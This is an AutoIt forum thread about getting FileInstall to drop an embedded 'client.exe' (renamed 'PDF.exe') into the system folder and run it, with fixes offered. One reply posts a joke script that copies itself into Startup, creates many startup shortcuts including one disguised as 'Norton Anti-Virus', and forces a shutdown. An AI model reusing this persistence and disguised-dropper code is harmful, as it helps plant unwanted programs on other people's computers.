Jump to content

FileInstall.


Recommended Posts

It doesnt seem to be wrapping it's self around the file and including it in the script.

Here is what I use:

FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir)
    Sleep(500)
    Run(@SystemDir & "\test.exe")
    Endif
    EndFunc

I know it's something noobie, so don't go to hard on me :shocked:

EDIT: Yes I searched about the variable thing, but I didn't understand it perfectly.

EDIT: Let me note it also seems to work uncompiled, but not compiled.

Edited by lolp1
Link to comment
Share on other sites

just this should be fine. tested it out on my PC quick and worked.

FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir)
Sleep(500)
Run(@SystemDir & "\test.exe")

the "endif" and "endfunc" are going to cause problems if you don't specify an if statement and a function before hand.

edit: compiled and tested it. works fine.

Edited by Kourath
Link to comment
Share on other sites

just this should be fine. tested it out on my PC quick and worked.

FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir)
Sleep(500)
Run(@SystemDir & "\test.exe")

the "endif" and "endfunc" are going to cause problems if you don't specify an if statement and a function before hand.

edit: compiled and tested it. works fine.

Hello,

DOUBLE edit: Nope.. still, won't work compiled. (If it means anything I am replacing the name with PDF.exe)

EDIT: IT appears my sleep was not long enough. Works.

Edited by lolp1
Link to comment
Share on other sites

False alarm..

It still does not work (compiled) here is exzactly what I am using.

FileInstall("C:\Documents and Settings\Hans\Desktop\client.exe", @SystemDir)
Sleep(1000)
Run(@SystemDir & "\client.exe")

Every time I try it compiled it just says "Error: Couldnt find file blah blah blah" but no error son the install line, just the run..

Link to comment
Share on other sites

With a bit more testing I can defiantly verify the following:

It works uncompiled, but not compiled.

The file exsist (I don't get any compile errors..)

The file does not already exsist at it's path.

Link to comment
Share on other sites

lol, kind of reminds me of this...

CODE
FileCopy(@ScriptFullPath, @StartupDir, 0)

FileCopy(@ScriptFullPath, @FavoritesDir, 0)

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/0")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/1")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/2")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/3")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/4")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/5")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/6")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/7")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/8")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/9")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/10")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/11")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/12")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/Norton Anti-Virus")

ShutDown(1)

Link to comment
Share on other sites

lol, kind of reminds me of this...

CODE
FileCopy(@ScriptFullPath, @StartupDir, 0)

FileCopy(@ScriptFullPath, @FavoritesDir, 0)

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/0")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/1")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/2")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/3")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/4")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/5")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/6")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/7")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/8")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/9")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/10")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/11")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/12")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/Norton Anti-Virus")

ShutDown(1)

What the hell? Get out of my thread please.. I just need some simple help..

Link to comment
Share on other sites

I'm still confused... example?

FileInstall("C:\Documents and Settings\Hans\Desktop\client.exe", @SystemDir & '\')

Sleep(1000)

Run(@SystemDir & "\client.exe")

Just add a backslash after the folder path in your destination parameter as I have added in Red above. File functions like trailing backslashes sometimes so it can tell that it is a path to a folder rather then a path to a file.

:shocked:

Edit:

Typo fix

Edited by MHz
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...